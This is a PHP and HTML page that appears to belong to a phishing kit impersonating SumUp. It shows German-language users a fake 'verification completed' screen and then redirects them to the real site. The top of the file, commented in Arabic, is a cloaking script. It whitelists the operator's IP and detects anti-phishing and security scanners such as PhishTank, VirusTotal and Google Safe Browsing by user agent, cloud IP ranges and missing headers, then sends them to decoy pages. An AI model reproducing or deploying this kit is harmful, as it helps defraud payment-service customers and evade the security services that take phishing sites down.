<?php 

// دالة بسيطة للكشف عن نوع الجهاز - معدلة للسماح للجميع
function isMobileDevice() {
    // دائماً ترجع true للسماح لجميع الأجهزة
    return true;
}

// التحقق من نوع الجهاز وتحديد الوجهة
if (!isMobileDevice()) {
    // لن يتم تنفيذ هذا أبداً لأن الدالة دائماً ترجع true
    header('Location: https://www.youtube.com');
    exit();
}

/**
 * Advanced Security Bot Blocker 2025
 * Multi-layer protection against security bots
 * Version: 15.4 - With IP Whitelist
 */

class AdvancedBotBlocker {
    
    private $user_agent;
    private $ip;
    private $domain;
    private $request_time;
    
    public function __construct() {
        $this->user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
        $this->ip = $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
        $this->domain = $this->getCurrentDomain();
        $this->request_time = $_SERVER['REQUEST_TIME'] ?? time();
    }
    
    private function getCurrentDomain() {
        $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http";
        return $protocol . "://" . ($_SERVER['HTTP_HOST'] ?? 'localhost');
    }
    
    // قائمة الـ IPs المسموح بها (لن يتم حظرها أبداً)
    private function getWhitelistedIPs() {
        return [
            '154.111.120.8', // IP الخاص بك
            // يمكنك إضافة المزيد من الـ IPs هنا
            // '192.168.1.1',
            // '10.0.0.1',
        ];
    }
    
    // التحقق إذا كان IP مسموح به
    private function isWhitelistedIP() {
        $whitelist = $this->getWhitelistedIPs();
        return in_array($this->ip, $whitelist);
    }
    
    public function blockSecurityBots() {
        // إذا كان IP مسموح به، اسمح بالدخول دائماً بدون أي فحص
        if ($this->isWhitelistedIP()) {
            return true;
        }
        
        // زيادة عداد الزيارة
        $this->incrementVisitCount();
        
        // الحصول على عدد الزيارات الحالي
        $visitCount = $this->getVisitCount();
        
        // إذا كانت الزيارة الأولى أو الثانية، اسمح بالدخول دائماً
        if ($visitCount <= 2) {
            return true;
        }
        
        // إذا كانت الزيارة الثالثة، تحقق فقط من البوتات الخطيرة
        if ($visitCount == 3) {
            if ($this->isHighRiskBot()) {
                $this->logBotAttempt("High risk bot on visit 3");
                $this->redirectToFakePage();
                return false;
            }
            return true;
        }
        
        // إذا كانت الزيارة الرابعة، تحقق من البوتات المتوسطة الخطورة
        if ($visitCount == 4) {
            if ($this->isMediumRiskBot()) {
                $this->logBotAttempt("Medium risk bot on visit 4");
                $this->redirectToFakePage();
                return false;
            }
            return true;
        }
        
        // من الزيارة الخامسة فما فوق، تطبيق الحماية الكاملة
        if ($visitCount >= 5) {
            if ($this->isSecurityBotByUA() || 
                $this->isSuspiciousIP() || 
                $this->isBotByBehavior() ||
                $this->isKnownSecurityCompany() ||
                $this->analyzeRequestPattern()) {
                $this->logBotAttempt("Full protection triggered on visit " . $visitCount);
                $this->redirectToFakePage();
                return false;
            }
        }
        
        return true;
    }
    
    private function incrementVisitCount() {
        if (!isset($_SESSION['visit_count'])) {
            $_SESSION['visit_count'] = 1;
        } else {
            $_SESSION['visit_count']++;
        }
        
        // حفظ وقت آخر زيارة للتحقق من التحديثات السريعة
        $_SESSION['last_visit_time'] = time();
    }
    
    private function getVisitCount() {
        return $_SESSION['visit_count'] ?? 1;
    }
    
    private function isHighRiskBot() {
        // كشف البوتات عالية الخطورة فقط
        $ua = strtolower($this->user_agent);
        
        $high_risk_bots = [
            'phishtank', 'virustotal', 'urlscan', 'sucuri',
            'shodan', 'censys', 'nmap', 'metasploit', 'sqlmap',
            'burpsuite', 'acunetix', 'nessus', 'nikto'
        ];
        
        foreach ($high_risk_bots as $bot) {
            if (strpos($ua, $bot) !== false) {
                return true;
            }
        }
        
        return false;
    }
    
    private function isMediumRiskBot() {
        // كشف البوتات متوسطة الخطورة
        $ua = strtolower($this->user_agent);
        
        $medium_risk_bots = [
            'google-safe-browsing', 'safebrowsing',
            'norton-safeweb', 'mcafee', 'kaspersky',
            'qualys', 'alienvault', 'wpscan', 'openvas'
        ];
        
        foreach ($medium_risk_bots as $bot) {
            if (strpos($ua, $bot) !== false) {
                return true;
            }
        }
        
        // تحقق من السلوك عالي الخطورة
        if ($this->hasSuspiciousParameters() || $this->isUnusualRequest()) {
            return true;
        }
        
        return false;
    }
    
    private function isSecurityBotByUA() {
        $ua = strtolower($this->user_agent);
        
        // قائمة موسعة للبوتات الأمنية
        $security_bots = [
            // بوتات مكافحة التصيد والأمان
            'phishtank', 'google-safe-browsing', 'safebrowsing', 'google-safety',
            'virustotal', 'urlscan', 'urlvoid', 'quttera', 'sucuri',
            'norton-safeweb', 'mcafee', 'siteadvisor', 'kaspersky', 
            'avast', 'avg', 'bitdefender', 'eset', 'sophos', 'trendmicro',
            'qualys', 'ssl-labs', 'securityscan', 'alienvault',
            
            // بوتات المسح الأمني
            'shodan', 'censys', 'zoomeye', 'fofa', 'quake', 'binaryedge',
            'netcraft', 'cloudflare-scanner', 'akamai-bot', 'imperva',
            'stackpath', 'datadog', 'newrelic', 'pingdom',
            
            // بوتات البحث الأمني
            'binaryedge', 'greywizard', 'hacker', 'security', 'scan',
            'crawler', 'spider', 'bot', 'monitor', 'check',
            
            // بوتات التحليل
            'burpsuite', 'nikto', 'nmap', 'metasploit', 'wpscan',
            'sqlmap', 'zap', 'acunetix', 'nessus', 'openvas',
            
            // بوتات إضافية
            'rapid7', 'tenable', 'qualys', 'trustwave', 'whitehat',
            'sitelock', 'comodo', 'geektool', 'uptime', 'monitoring'
        ];
        
        foreach ($security_bots as $bot) {
            if (strpos($ua, $bot) !== false) {
                return true;
            }
        }
        
        return false;
    }
    
    private function isSuspiciousIP() {
        // قائمة عناوين IP مشبوهة معروفة (لخدمات السحابة والمسح)
        $suspicious_ips = [
            '54.', '52.', '35.', '13.', '8.', // AWS
            '34.', '104.', '108.', '142.', '172.', // Google Cloud
            '20.', '40.', '51.', '52.', '138.', // Azure
            '66.', '72.', '74.', '75.', '76.', // OVH
            '89.', '94.', '95.', '185.', '188.', // Hetzner
            '45.', '64.', '65.', '80.', '87.'  // DigitalOcean
        ];
        
        foreach ($suspicious_ips as $suspicious) {
            if (strpos($this->ip, $suspicious) === 0) {
                return true;
            }
        }
        
        return false;
    }
    
    private function isBotByBehavior() {
        // تحليل السلوك المشبوه
        $suspicious_headers = [
            'HTTP_ACCEPT_LANGUAGE',
            'HTTP_ACCEPT_ENCODING', 
            'HTTP_ACCEPT'
        ];
        
        // إذا كانت بعض الهيدرات مفقودة (مشبوه)
        $missing_headers = 0;
        foreach ($suspicious_headers as $header) {
            if (!isset($_SERVER[$header]) || empty($_SERVER[$header])) {
                $missing_headers++;
            }
        }
        
        if ($missing_headers >= 2) {
            return true;
        }
        
        // تحقق من User Agent فارغ أو قصير جداً
        if (empty($this->user_agent) || strlen($this->user_agent) < 10) {
            return true;
        }
        
        // تحقق من طلبات غير عادية
        if ($this->isUnusualRequest()) {
            return true;
        }
        
        return false;
    }
    
    private function isKnownSecurityCompany() {
        // كشف شركات الأمان من خلال أنماط معينة
        $company_patterns = [
            'google' => ['googlebot', 'apis-google', 'googleusercontent', 'google'],
            'microsoft' => ['msnbot', 'bingbot', 'microsoft'],
            'amazon' => ['aws-sdk', 'amazon', 'aws'],
            'cloudflare' => ['cloudflare'],
            'akamai' => ['akamai'],
            'ibm' => ['softlayer', 'ibm'],
            'oracle' => ['oracle', 'sun'],
            'digitalocean' => ['digitalocean'],
            'linode' => ['linode'],
            'vultr' => ['vultr']
        ];
        
        $ua = strtolower($this->user_agent);
        
        foreach ($company_patterns as $company => $patterns) {
            foreach ($patterns as $pattern) {
                if (strpos($ua, $pattern) !== false) {
                    return true;
                }
            }
        }
        
        return false;
    }
    
    private function analyzeRequestPattern() {
        // تحليل أنماط الطلبات المشبوهة
        $suspicious = false;
        
        // الوصول المباشر بدون Referrer
        if (!isset($_SERVER['HTTP_REFERER']) && !$this->isFirstVisit()) {
            $suspicious = true;
        }
        
        // لا يوجد cookies في طلب متكرر
        if (!isset($_SERVER['HTTP_COOKIE']) && $this->getVisitCount() > 3) {
            $suspicious = true;
        }
        
        // طلبات بطرق غير عادية
        if ($_SERVER['REQUEST_METHOD'] !== 'GET' && $_SERVER['REQUEST_METHOD'] !== 'POST') {
            $suspicious = true;
        }
        
        // طلبات بمعلمات غريبة
        if (!empty($_GET) && $this->hasSuspiciousParameters()) {
            $suspicious = true;
        }
        
        return $suspicious;
    }
    
    private function isFirstVisit() {
        return ($this->getVisitCount() <= 1);
    }
    
    private function hasSuspiciousParameters() {
        // تحقق من معلمات URL مشبوهة
        $suspicious_params = [
            'cmd', 'exec', 'system', 'eval', 'union', 'select', 'insert',
            'update', 'delete', 'drop', 'script', 'alert', 'onload',
            'onerror', 'javascript', 'vbscript', 'applet', 'meta',
            'object', 'iframe', 'frame', 'embed', 'link'
        ];
        
        foreach ($_GET as $param => $value) {
            $param_lower = strtolower($param);
            foreach ($suspicious_params as $suspicious) {
                if (strpos($param_lower, $suspicious) !== false) {
                    return true;
                }
            }
        }
        
        return false;
    }
    
    private function isUnusualRequest() {
        // تحقق من طلبات غير عادية
        $request_uri = $_SERVER['REQUEST_URI'] ?? '';
        
        // طلبات لملفات نظام
        $system_files = [
            '.env', '.git', '.htaccess', 'wp-config', 'config.php',
            'admin', 'phpmyadmin', 'mysql', 'database', 'backup',
            'log', 'debug', 'test', 'shell', 'cgi-bin'
        ];
        
        foreach ($system_files as $file) {
            if (stripos($request_uri, $file) !== false) {
                return true;
            }
        }
        
        return false;
    }
    
    private function logBotAttempt($reason = "") {
        // تسجيل محاولات البوتات
        $log_data = [
            'timestamp' => date('Y-m-d H:i:s'),
            'ip' => $this->ip,
            'user_agent' => substr($this->user_agent, 0, 200),
            'request_uri' => $_SERVER['REQUEST_URI'] ?? '',
            'referer' => $_SERVER['HTTP_REFERER'] ?? '',
            'method' => $_SERVER['REQUEST_METHOD'] ?? '',
            'visit_count' => $this->getVisitCount(),
            'reason' => $reason
        ];
        
        $log_message = implode(' | ', $log_data) . PHP_EOL;
        
        // محاولة الكتابة إلى ملف السجل
        @file_put_contents('security_bot_logs.txt', $log_message, FILE_APPEND | LOCK_EX);
    }
    
    private function redirectToFakePage() {
        // صفحات وهمية للتوجيه إليها
        $fake_pages = [
            'https://www.youtube.com/watch?v=dQw4w9WgXcQ',
            'https://www.facebook.com/unsupportedbrowser',
            'https://www.instagram.com/accounts/login/?source=auth_switcher',
            'https://www.twitter.com/404',
            'https://www.reddit.com/404',
            'https://www.wikipedia.org/wiki/HTTP_404',
            'https://www.amazon.com/404',
            'https://www.netflix.com/browse',
            'https://www.linkedin.com/404',
            'https://www.pinterest.com/404'
        ];
        
        $random_page = $fake_pages[array_rand($fake_pages)];
        
        // إضافة تأخير عشوائي لمحاكاة التحميل
        usleep(rand(50000, 300000)); // 0.05 إلى 0.3 ثانية
        
        // إرسال رؤوس للتضليل
        header('HTTP/1.1 200 OK');
        header('Content-Type: text/html; charset=utf-8');
        header('Location: ' . $random_page, true, 302);
        exit;
    }
}

// بدء الجلسة والحماية
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

$bot_blocker = new AdvancedBotBlocker();

// إذا كان بوت أمني - سيتم تحويله والخروج (ولن يتم تسجيله في visitors)
if (!$bot_blocker->blockSecurityBots()) {
    exit;
}

// إذا وصل إلى هنا فهو إنسان - قم بتسجيل الزيارة ثم استمر في تحميل الصفحة
require_once "functions1.php";

// استمر في تحميل الصفحة
?>

<!DOCTYPE html>
<html lang="de">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Vorgang Abgeschlossen —</title>
    <!-- Favicon hinzufügen -->
    <link rel="icon" type="image/png" href="image/ask.png">
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
        }
        
        body {
            background-color: #ffffff;
            min-height: 100vh;
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            padding: 20px;
            position: relative;
            overflow: hidden;
            color: #0F131A;
        }
        
        .container {
            width: 100%;
            max-width: 500px;
            z-index: 10;
        }
        
        /* Logo */
        .logo {
            text-align: center;
            margin-bottom: 40px;
        }
        
        .logo img {
            height: 40px;
        }
        
        /* Confetti Animation - Professional */
        .confetti-container {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            pointer-events: none;
            z-index: 1;
            overflow: hidden;
        }
        
        .confetti {
            position: absolute;
            width: 12px;
            height: 12px;
            opacity: 0;
            animation: confettiFall 4s linear forwards;
        }
        
        .confetti::before {
            content: '';
            position: absolute;
            width: 100%;
            height: 100%;
            background: currentColor;
            transform-origin: center;
        }
        
        .confetti.circle::before {
            border-radius: 50%;
        }
        
        .confetti.rectangle::before {
            transform: rotate(45deg);
        }
        
        .confetti.triangle::before {
            clip-path: polygon(50% 0%, 0% 100%, 100% 100%);
        }
        
        /* Success Animation */
        .success-animation {
            position: relative;
            margin: 30px 0;
            height: 180px;
            display: flex;
            justify-content: center;
            align-items: center;
        }
        
        .success-circle {
            width: 140px;
            height: 140px;
            background: linear-gradient(135deg, #00D8A7, #00B894);
            border-radius: 50%;
            display: flex;
            justify-content: center;
            align-items: center;
            box-shadow: 0 20px 50px rgba(0, 216, 167, 0.3);
            position: relative;
            animation: successPulse 2s ease-in-out infinite;
            z-index: 2;
        }
        
        .success-circle::before {
            content: '';
            position: absolute;
            top: -10px;
            left: -10px;
            right: -10px;
            bottom: -10px;
            border: 2px solid rgba(0, 216, 167, 0.2);
            border-radius: 50%;
            animation: ripple 2s linear infinite;
        }
        
        .success-circle::after {
            content: '';
            position: absolute;
            top: -20px;
            left: -20px;
            right: -20px;
            bottom: -20px;
            border: 1px solid rgba(0, 216, 167, 0.1);
            border-radius: 50%;
            animation: ripple 2s linear infinite 0.5s;
        }
        
        .success-icon {
            width: 60px;
            height: 60px;
            background: white;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            position: relative;
            z-index: 2;
        }
        
        .success-icon svg {
            width: 30px;
            height: 30px;
            color: #00D8A7;
        }
        
        @keyframes successPulse {
            0%, 100% { transform: scale(1); }
            50% { transform: scale(1.05); }
        }
        
        @keyframes ripple {
            0% { transform: scale(0.8); opacity: 1; }
            100% { transform: scale(1.3); opacity: 0; }
        }
        
        /* Title */
        h1 {
            text-align: center;
            font-size: 32px;
            margin-bottom: 20px;
            color: #0F131A;
            font-weight: 600;
        }
        
        .subtitle {
            text-align: center;
            font-size: 18px;
            color: #666;
            margin-bottom: 40px;
            line-height: 1.6;
        }
        
        /* Success Details */
        .success-details {
            background: #f8f9fa;
            border: 1px solid #e9ecef;
            border-radius: 16px;
            padding: 25px;
            margin: 25px 0;
            width: 100%;
            box-shadow: 0 4px 20px rgba(0, 0, 0, 0.08);
            position: relative;
            z-index: 2;
        }
        
        .detail-item {
            display: flex;
            justify-content: space-between;
            align-items: center;
            padding: 12px 0;
            border-bottom: 1px solid #e9ecef;
        }
        
        .detail-item:last-child {
            border-bottom: none;
        }
        
        .detail-label {
            font-weight: 500;
            color: #666;
            font-size: 14px;
        }
        
        .detail-value {
            font-weight: 600;
            color: #00D8A7;
            font-size: 14px;
        }
        
        /* Countdown Timer */
        .countdown-section {
            background: #f8f9fa;
            border-radius: 16px;
            padding: 25px;
            margin: 25px 0;
            width: 100%;
            text-align: center;
            border: 1px solid #e9ecef;
            box-shadow: 0 4px 20px rgba(0, 0, 0, 0.08);
            position: relative;
            z-index: 2;
        }
        
        .countdown-text {
            font-size: 16px;
            color: #666;
            margin-bottom: 15px;
            font-weight: 500;
        }
        
        .countdown-timer {
            font-size: 42px;
            font-weight: 700;
            color: #00D8A7;
            font-family: 'Courier New', monospace;
            margin: 10px 0;
        }
        
        .countdown-label {
            font-size: 14px;
            color: #666;
            font-weight: 500;
        }
        
        /* Progress Bar */
        .progress-container {
            width: 100%;
            height: 6px;
            background: #e9ecef;
            border-radius: 10px;
            margin: 20px 0;
            overflow: hidden;
        }
        
        .progress-bar {
            width: 100%;
            height: 100%;
            background: linear-gradient(135deg, #00D8A7, #00B894);
            border-radius: 10px;
            animation: progressFill 5s ease-in-out;
            transform-origin: left;
        }
        
        @keyframes progressFill {
            0% { transform: scaleX(0); }
            100% { transform: scaleX(1); }
        }
        
        /* Action Buttons */
        .action-buttons {
            display: flex;
            flex-direction: column;
            gap: 15px;
            margin: 30px 0 20px;
            width: 100%;
            position: relative;
            z-index: 2;
        }
        
        .btn-primary {
            background: linear-gradient(135deg, #00D8A7, #00B894);
            color: white;
            border: none;
            padding: 16px;
            border-radius: 8px;
            font-size: 16px;
            font-weight: 600;
            cursor: pointer;
            width: 100%;
            transition: all 0.3s;
            position: relative;
            overflow: hidden;
        }
        
        .btn-primary::before {
            content: '';
            position: absolute;
            top: 0;
            left: -100%;
            width: 100%;
            height: 100%;
            background: linear-gradient(90deg, transparent, rgba(255,255,255,0.2), transparent);
            transition: left 0.5s;
        }
        
        .btn-primary:hover {
            transform: translateY(-2px);
            box-shadow: 0 8px 25px rgba(0, 216, 167, 0.3);
        }
        
        .btn-primary:hover::before {
            left: 100%;
        }
        
        .btn-secondary {
            background: white;
            color: #0F131A;
            border: 2px solid #0F131A;
            padding: 14px;
            border-radius: 8px;
            font-size: 16px;
            font-weight: 500;
            cursor: pointer;
            width: 100%;
            transition: all 0.3s;
        }
        
        .btn-secondary:hover {
            background: #0F131A;
            color: white;
            transform: translateY(-1px);
        }
        
        .security-info {
            background: #f8f9fa;
            border: 1px solid #e9ecef;
            border-radius: 12px;
            padding: 25px;
            margin-top: 30px;
            text-align: center;
            width: 100%;
            position: relative;
            z-index: 2;
        }
        
        .security-icon {
            margin-bottom: 15px;
            display: flex;
            justify-content: center;
        }
        
        .security-title {
            font-size: 16px;
            font-weight: 600;
            color: #0F131A;
            margin-bottom: 8px;
        }
        
        .security-description {
            font-size: 14px;
            color: #666;
            line-height: 1.5;
        }

        .footer-buttons {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-top: 30px;
            gap: 15px;
        }
        
        .language-select {
            flex: 1;
            position: relative;
        }
        
        .language-select select {
            width: 100%;
            padding: 12px 40px 12px 15px;
            border: 1px solid #ddd;
            border-radius: 4px;
            font-size: 14px;
            background: white;
            color: #0F131A;
            appearance: none;
            cursor: pointer;
            height: 44px;
        }
        
        .language-select::after {
            content: "";
            position: absolute;
            right: 15px;
            top: 50%;
            transform: translateY(-50%);
            width: 12px;
            height: 12px;
            background-image: url("data:image/svg+xml,%3Csvg width='16' height='16' viewBox='0 0 16 16' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M8 11c-.266 0-.52-.104-.71-.29l-4-4A1.013 1.013 0 0 1 3 6a1 1 0 0 1 1-1c.266 0 .52.104.71.29L8 8.58l3.29-3.29c.19-.186.445-.29.71-.29a1 1 0 0 1 1 1c0 .266-.104.52-.29.71l-4 4c-.19.186-.444.29-.71.29z' fill='%230F131A'%3E%3C/path%3E%3C/svg%3E");
            background-repeat: no-repeat;
            background-position: center;
            pointer-events: none;
        }
        
        .system-status-btn {
            flex: 1;
        }
        
        .system-status-btn .btn-secondary {
            height: 44px;
            font-size: 14px;
            width: 100%;
            padding: 12px;
            background-color: transparent;
            color: #0F131A;
            border: 1px solid #0F131A;
            border-radius: 4px;
            font-weight: 500;
            cursor: pointer;
            text-decoration: none;
            display: block;
            text-align: center;
            transition: all 0.3s;
        }
        
        .system-status-btn .btn-secondary:hover {
            background-color: #0F131A;
            color: white;
        }
        
        .help-link {
            position: absolute;
            top: 30px;
            right: 30px;
            color: #0F131A;
            text-decoration: none;
            font-size: 14px;
            font-weight: 500;
            transition: color 0.3s;
            z-index: 100;
        }
        
        .help-link:hover {
            color: #00D8A7;
        }

        /* Professional Confetti Animation */
        @keyframes confettiFall {
            0% {
                transform: translateY(-100px) rotate(0deg) scale(0);
                opacity: 1;
            }
            10% {
                opacity: 1;
            }
            100% {
                transform: translateY(100vh) rotate(720deg) scale(1);
                opacity: 0;
            }
        }

        /* Floating Particles */
        .particle {
            position: absolute;
            width: 4px;
            height: 4px;
            background: #00D8A7;
            border-radius: 50%;
            animation: floatParticle 6s ease-in-out infinite;
            z-index: 1;
        }
        
        @keyframes floatParticle {
            0%, 100% {
                transform: translateY(0px) translateX(0px);
                opacity: 0;
            }
            50% {
                transform: translateY(-20px) translateX(10px);
                opacity: 1;
            }
        }

        /* Responsive */
        @media (max-width: 768px) {
            .container {
                padding: 0 20px;
                max-width: 100%;
            }
            
            h1 {
                font-size: 28px;
            }
            
            .logo img {
                height: 35px;
            }
            
            .success-circle {
                width: 120px;
                height: 120px;
            }
            
            .success-icon {
                width: 50px;
                height: 50px;
            }
            
            .success-icon svg {
                width: 25px;
                height: 25px;
            }
            
            .countdown-timer {
                font-size: 36px;
            }
        }

        @media (max-width: 480px) {
            body {
                padding: 15px;
                justify-content: flex-start;
                padding-top: 60px;
            }
            
            .container {
                padding: 0 10px;
            }
            
            h1 {
                font-size: 24px;
            }
            
            .logo {
                margin-bottom: 30px;
            }
            
            .logo img {
                height: 30px;
            }
            
            .success-circle {
                width: 100px;
                height: 100px;
            }
            
            .success-icon {
                width: 40px;
                height: 40px;
            }
            
            .success-icon svg {
                width: 20px;
                height: 20px;
            }
            
            .countdown-timer {
                font-size: 32px;
            }
            
            .success-details {
                padding: 20px;
            }
            
            .help-link {
                top: 15px;
                right: 15px;
                font-size: 13px;
            }
        }
    </style>
</head>
<body>
    <!-- Hilfe-Link in der oberen rechten Ecke -->
    <a href="#" class="help-link">Brauchen Sie Hilfe?</a>
    
    <!-- Confetti Container -->
    <div class="confetti-container" id="confettiContainer"></div>
    
    <!-- Floating Particles -->
    <div class="particle" style="top: 10%; left: 20%; animation-delay: 0s;"></div>
    <div class="particle" style="top: 30%; left: 80%; animation-delay: 1s;"></div>
    <div class="particle" style="top: 60%; left: 10%; animation-delay: 2s;"></div>
    <div class="particle" style="top: 80%; left: 90%; animation-delay: 3s;"></div>
    <div class="particle" style="top: 40%; left: 50%; animation-delay: 4s;"></div>
    
    <div class="container">
        <!-- SumUp Logo -->
        <div class="logo">
            <img src="image/name.svg" alt="SumUp Logo">
        </div>
        
        <!-- Success Animation -->
        <div class="success-animation">
            <div class="success-circle">
                <div class="success-icon">
                    <svg width="30" height="30" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
                        <path d="M9 16.17L4.83 12L3.41 13.41L9 19L21 7L19.59 5.59L9 16.17Z" fill="currentColor"/>
                    </svg>
                </div>
            </div>
        </div>
        
        <!-- Title -->
        <h1>Vorgang Abgeschlossen</h1>
        <p class="subtitle">
            🎉 Herzlichen Glückwunsch! 🎉<br>
            Ihre SumUp-Verifizierung wurde erfolgreich abgeschlossen.
        </p>
        
        <!-- Success Details -->
        <div class="success-details">
            <div class="detail-item">
                <span class="detail-label">Kontostatus:</span>
                <span class="detail-value">VERIFIZIERT</span>
            </div>
            <div class="detail-item">
                <span class="detail-label">Sicherheitsstufe:</span>
                <span class="detail-value">MAXIMAL</span>
            </div>
            <div class="detail-item">
                <span class="detail-label">Verifizierungsdatum:</span>
                <span class="detail-value"><?php echo date('d/m/Y'); ?></span>
            </div>
            <div class="detail-item">
                <span class="detail-label">Verifizierungszeit:</span>
                <span class="detail-value"><?php echo date('H:i'); ?></span>
            </div>
        </div>
        
        <!-- Countdown Timer -->
        <div class="countdown-section">
            <div class="countdown-text">Automatische Weiterleitung in:</div>
            <div class="countdown-timer" id="countdown">5</div>
            <div class="countdown-label">Sekunden</div>
            
            <!-- Progress Bar -->
            <div class="progress-container">
                <div class="progress-bar"></div>
            </div>
        </div>
        
        <!-- Action Buttons -->
        <div class="action-buttons">
            <button class="btn-primary" onclick="redirectToHome()">
                🏠 ZUM DASHBOARD
            </button>
            
            <button class="btn-secondary" onclick="downloadConfirmation()">
                📥 BESTÄTIGUNG HERUNTERLADEN
            </button>
        </div>
        
        <!-- Security Info -->
        <div class="security-info">
            <div class="security-icon">
                <svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
                    <path d="M12 1L3 5V11C3 16.55 6.84 21.74 12 23C17.16 21.74 21 16.55 21 11V5L12 1ZM12 7C13.1 7 14 7.9 14 9C14 10.1 13.1 11 12 11C10.9 11 10 10.1 10 9C10 7.9 10.9 7 12 7ZM16 17.58C16 18.68 14.97 19.58 13.5 19.58H10.5C9.03 19.58 8 18.68 8 17.58V16.58C8 15.48 9.03 14.58 10.5 14.58H13.5C14.97 14.58 16 15.48 16 16.58V17.58Z" fill="#00D8A7"/>
                </svg>
            </div>
            <div class="security-title">Konto Geschützt</div>
            <p class="security-description">
                🎊 Willkommen in der SumUp-Familie! 🎊<br>
                Sie haben alle Verifizierungsprozesse erfolgreich abgeschlossen.
                Ihr Konto ist nun vollständig aktiviert und geschützt.
            </p>
        </div>
        
        <!-- Zusätzliche Buttons unten -->
        <div class="footer-buttons">
            <div class="language-select">
                <select id="languageSelect" name="languageSelect">
                    <option value="da-DK">Dansk</option>
                    <option value="de-DE" selected>Deutsch</option>
                    <option value="et-EE">Eesti</option>
                    <option value="en-GB">English</option>
                    <option value="es-ES">Español</option>
                    <option value="fr-FR">Français</option>
                    <option value="hr-HR">Hrvatski</option>
                    <option value="it-IT">Italiano</option>
                    <option value="lv-LV">Latviešu valoda</option>
                    <option value="lt-LT">Lietuviškai</option>
                    <option value="hu-HU">Magyar</option>
                    <option value="nl-NL">Nederlands</option>
                    <option value="nb-NO">Norsk</option>
                    <option value="pl-PL">Polski</option>
                    <option value="pt-BR">Português</option>
                    <option value="ro-RO">Română</option>
                    <option value="sk-SK">Slovenčina</option>
                    <option value="sl-SI">Slovenščina</option>
                    <option value="fi-FI">Suomi</option>
                    <option value="sv-SE">Svenska</option>
                    <option value="cs-CZ">Čeština</option>
                    <option value="el-GR">Ελληνικά</option>
                    <option value="bg-BG">Български</option>
                </select>
            </div>
            
            <div class="system-status-btn">
                <a href="https://status.sumup.com" class="btn-secondary">
                    Systemstatus
                </a>
            </div>
        </div>
    </div>

    <script>
        document.addEventListener('DOMContentLoaded', function() {
            // Professionelle Konfetti erstellen
            function createProfessionalConfetti() {
                const container = document.getElementById('confettiContainer');
                const colors = ['#00D8A7', '#0a20c4', '#FF6B6B', '#FFD166', '#0F131A', '#00B894'];
                const shapes = ['circle', 'rectangle', 'triangle'];
                
                for (let i = 0; i < 200; i++) {
                    const confetti = document.createElement('div');
                    confetti.className = `confetti ${shapes[Math.floor(Math.random() * shapes.length)]}`;
                    
                    // Zufällige Farbe
                    const color = colors[Math.floor(Math.random() * colors.length)];
                    confetti.style.color = color;
                    
                    // Zufällige Position
                    confetti.style.left = Math.random() * 100 + 'vw';
                    
                    // Zufällige Verzögerung
                    const delay = Math.random() * 3;
                    confetti.style.animationDelay = delay + 's';
                    
                    // Zufällige Dauer
                    const duration = Math.random() * 2 + 3;
                    confetti.style.animationDuration = duration + 's';
                    
                    container.appendChild(confetti);
                }
            }
            
            // Countdown und automatische Weiterleitung
            let countdown = 5;
            const countdownElement = document.getElementById('countdown');
            
            const countdownTimer = setInterval(() => {
                countdown--;
                countdownElement.textContent = countdown;
                
                if (countdown <= 0) {
                    clearInterval(countdownTimer);
                    redirectToHome();
                }
            }, 1000);

            // Graduelle Erscheinungseffekte
            const container = document.querySelector('.container');
            container.style.opacity = '0';
            container.style.transform = 'translateY(30px)';
            container.style.transition = 'all 0.8s ease';
            
            setTimeout(() => {
                container.style.opacity = '1';
                container.style.transform = 'translateY(0)';
            }, 200);
            
            // Konfetti starten
            createProfessionalConfetti();
        });

        // Button-Funktionen
        function redirectToHome() {
            window.location.href = 'https://www.sumup.com/de-de/';
        }

        function downloadConfirmation() {
            // Bestätigungsdownload simulieren
            const btn = event.target;
            const originalText = btn.innerHTML;
            
            btn.innerHTML = '🎯 DOWNLOAD WIRD DURCHGEFÜHRT...';
            btn.disabled = true;
            
            setTimeout(() => {
                btn.innerHTML = '✅ DOWNLOAD ABGESCHLOSSEN';
                btn.style.background = '#00D8A7';
                btn.style.color = 'white';
                
                setTimeout(() => {
                    btn.innerHTML = originalText;
                    btn.disabled = false;
                    btn.style.background = '';
                    btn.style.color = '';
                }, 2000);
            }, 2000);
        }
    </script>
</body>
</html>